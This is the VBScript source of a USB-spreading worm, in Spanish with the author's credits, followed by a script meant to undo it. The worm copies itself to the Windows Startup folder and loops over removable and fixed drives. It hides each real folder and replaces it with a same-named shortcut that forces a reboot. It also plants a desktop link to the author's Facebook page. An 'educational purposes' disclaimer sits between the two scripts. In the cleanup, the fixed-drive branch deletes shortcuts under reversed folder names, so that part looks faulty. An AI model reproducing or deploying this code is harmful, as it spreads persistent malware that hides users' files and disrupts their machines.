'                       Archivo Creado por Danny Paula Gómez.     
'                       Uso Publico siempre y cuando no Modifiquen estas lineas en agradecimiento.


on error resume next

set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim installname, url, desktop, startup, argumentos

argumentos = "/c shutdown -r -t " & "10"
startup = objshell.specialfolders ("startup") & "\"
installname = wscript.scriptname

 while true
 
For Each d in dc
if d.Isready then
 if d.drivetype = 1 then
  if d.freespace > 0 then
         for each folder in objfso.getfolder (d.path & "\").subfolders
         foldername = folder.name
         copia = objfso.copyfile (wscript.scriptfullname, startup, true)
         set lnkobj = objshell.createshortcut (d.path & "\"  & foldername & ".lnk")
         lnkobj.windowstyle = 7
         lnkobj.targetpath = "cmd.exe"
         lnkobj.workingdirectory = ""
         lnkobj.arguments = argumentos
         foldericon = "explorer.exe, 0"
         lnkobj.save()
         folder.attributes = 1+2+4
      Next
      for each file in objfso.getfolder(d.path & "\").files
         if  objfso.fileexists (d.path & "\" & installname)  then
            objfso.getfile(d.path & "\"  & installname).attributes = 2+4
         end if
      Next
  end if
 end if
end if
 Next
 
 For Each d in dc
if d.Isready then
 if d.drivetype = 3 then
  if d.freespace > 0 then
      for each folder in objfso.getfolder (d.path & "\").subfolders
         for each folder in objfso.getfolder (d.path & "\").subfolders
         foldername = folder.name
         copia = objfso.copyfile (wscript.scriptfullname, startup, true)
         set lnkobj = objshell.createshortcut (d.path & "\"  & foldername & ".lnk")
         lnkobj.windowstyle = 7
         lnkobj.targetpath = "cmd.exe"
         lnkobj.workingdirectory = ""
         lnkobj.arguments = argumentos
         foldericon = "explorer.exe, 0"
         lnkobj.save()
         Next
for each file in objfso.getfolder(d.path & "\").files
   if  objfso.fileexists (d.path & "\" & installname)  then
        objfso.getfile(d.path & "\"  & installname).attributes = 2+4
   end if
Next
  end if
 end if
end if
desktop = objshell.specialfolders("desktop")
Set url = objshell.createshortcut( desktop & "\f a c e b o o k .url")
url.targetpath = "www.facebook.com/danny920825"
url.save
 Next
 
 wend
 
'                   Agradezco a ||MadAntrax|| por su ayuda   
'                   Y al staff de foro.elhacker.net donde he aprendido lo poco que se.     
'                   Correo: danny920825@gmail.com             
'                   facebook: danny920825                     
                   



'                      .::Este proyecto fue realizado con fines educativos, no
'                           me hago responsable del uso quese le de al mismo ::.

on error resume next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim del, reverse, url, desktop, borrar

For Each d in dc
if d.Isready then
 if d.drivetype = 1 then
  if d.freespace > 0 then
   for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
 Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
 folder.attributes = 0
 del = objfso.deletefile(d.path & "\" & foldername & ".lnk" )
  Next
  end if
 end if
end if
Next
 
 For Each d in dc
if d.Isready then
 if d.drivetype = 3 then
  if d.freespace > 0 then
   for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
 Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
 folder.attributes = 0
 del = objfso.deletefile(d.path & "\" & reverse & ".lnk" )
  Next
  end if
 end if
end if
desktop = objshell.specialfolders("Desktop")
borrar = objfso.deletefile( desktop & "\f a c e b o o k .url")
Next